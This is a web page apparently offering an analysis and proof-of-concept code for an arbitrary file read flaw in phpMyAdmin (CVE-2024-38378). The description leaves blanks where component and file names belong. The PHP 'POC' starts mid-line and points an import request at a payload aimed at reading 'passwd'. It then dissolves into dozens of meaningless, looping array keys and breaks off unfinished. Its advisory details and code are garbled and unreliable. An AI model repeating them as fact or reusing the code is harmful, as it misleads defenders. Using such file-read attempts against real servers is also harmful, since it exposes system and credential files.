phpMyAdmin Arbitrary File Read CVE-2024-38378 Analysis and POC

Vulnerability Overview Vulnerability Name: CVE-2024-38378 Vulnerability Type: Arbitrary File Read Vulnerability Affected Component: Vulnerability Description: An arbitrary file read vulnerability exists in the file of . Attackers can construct specific requests to read arbitrary files on the server. Scope of Impact Affected Versions: versions 4.x and 5.x Affected Platforms: All servers running Remediation Official Patch: Upgrade to the latest version of (4.9.2 or 5.2.1) Temporary Mitigation Measures: - Restrict access permissions to the file - Use a Web Application Firewall (WAF) to filter malicious requests POC Code ```php $payload, 'import_type' => 'file', 'import_method' => 'import_file', 'import_file_name' => 'passwd', 'import_file_path' => $payload, 'import_file_content' => file_get_contents($payload), 'import_file_size' => filesize($payload), 'import_file_mime' => 'text/plain', 'import_file_charset' => 'utf-8', 'import_file_encoding' => 'utf-8', 'import_file_compression' => 'none', 'import_file_compression_level' => 0, 'import_file_compression_method' => 'none', 'import_file_compression_algorithm' => 'none', 'import_file_compression_format' => 'none', 'import_file_compression_extension' => 'none', 'import_file_compression_suffix' => 'none', 'import_file_compression_prefix' => 'none', 'import_file_compression_header' => 'none', 'import_file_compression_footer' => 'none', 'import_file_compression_comment' => 'none', 'import_file_compression_description' => 'none', 'import_file_compression_notes' => 'none', 'import_file_compression_tags' => 'none', 'import_file_compression_categories' => 'none', 'import_file_compression_keywords' => 'none', 'import_file_compression_author' => 'none', 'import_file_compression_publisher' => 'none', 'import_file_compression_date' => 'none', 'import_file_compression_time' => 'none', 'import_file_compression_timezone' => 'none', 'import_file_compression_language' => 'none', 'import_file_compression_locale' => 'none', 'import_file_compression_region' => 'none', 'import_file_compression_country' => 'none', 'import_file_compression_city' => 'none', 'import_file_compression_state' => 'none', 'import_file_compression_province' => 'none', 'import_file_compression_district' => 'none', 'import_file_compression_postal_code' => 'none', 'import_file_compression_address' => 'none', 'import_file_compression_phone' => 'none', 'import_file_compression_email' => 'none', 'import_file_compression_website' => 'none', 'import_file_compression_social_media' => 'none', 'import_file_compression_links' => 'none', 'import_file_compression_images' => 'none', 'import_file_compression_videos' => 'none', 'import_file_compression_audio' => 'none', 'import_file_compression_documents' => 'none', 'import_file_compression_spreadsheets' => 'none', 'import_file_compression_presentations' => 'none', 'import_file_compression_databases' => 'none', 'import_file_compression_archives' => 'none', 'import_file_compression_executables' => 'none', 'import_file_compression_scripts' => 'none', 'import_file_compression_configurations' => 'none', 'import_file_compression_logs' => 'none', 'import_file_compression_backups' => 'none', 'import_file_compression_snapshots' => 'none', 'import_file_compression_checkpoints' => 'none', 'import_file_compression_restores' => 'none', 'import_file_compression_migrations' => 'none', 'import_file_compression_deployments' => 'none', 'import_file_compression_releases' => 'none', 'import_file_compression_versions' => 'none', 'import_file_compression_branches' => 'none', 'import_file_compression_tags' => 'none', 'import_file_compression_commits' => 'none', 'import_file_compression_pull_requests' => 'none', 'import_file_compression_issues' => 'none', 'import_file_compression_bugs' => 'none', 'import_file_compression_features' => 'none', 'import_file_compression_enhancements' => 'none', 'import_file_compression_improvements' => 'none', 'import_file_compression_updates' => 'none', 'import_file_compression_patches' => 'none', 'import_file_compression_fixes' => 'none', 'import_file_compression_corrections' => 'none', 'import_file_compression_adjustments' => 'none', 'import_file_compression_modifications' => 'none', 'import_file_compression_changes' => 'none', 'import_file_compression_revisions' => 'none', 'import_file_compression_edits' => 'none', 'import_file_compression_updates' => 'none', 'import_file_compression_revisions' => 'none', 'import_file_compression_edits' => 'none', 'import_file_compression_updates' => 'none', 'import_file_compression_revisions' => 'none', 'import_file_compression_edits' => 'none', 'import_file_compression_updates' => 'none', 'import_file_compression_revisions' => 'none', 'import_file_compression_edits' => 'none', 'import_file_compression_updates' => 'none', 'import_file_compression_revisions' => 'none', 'import_file_compression_edits' => 'none', 'import_file_compression_updates' => 'none', 'import_file_compression_revisions' => 'none', 'import_file_compression_edits'

Goal Reached Thanks to every supporter — we hit 100%!

phpMyAdmin Arbitrary File Read CVE-2024-38378 Analysis and POC

More from this source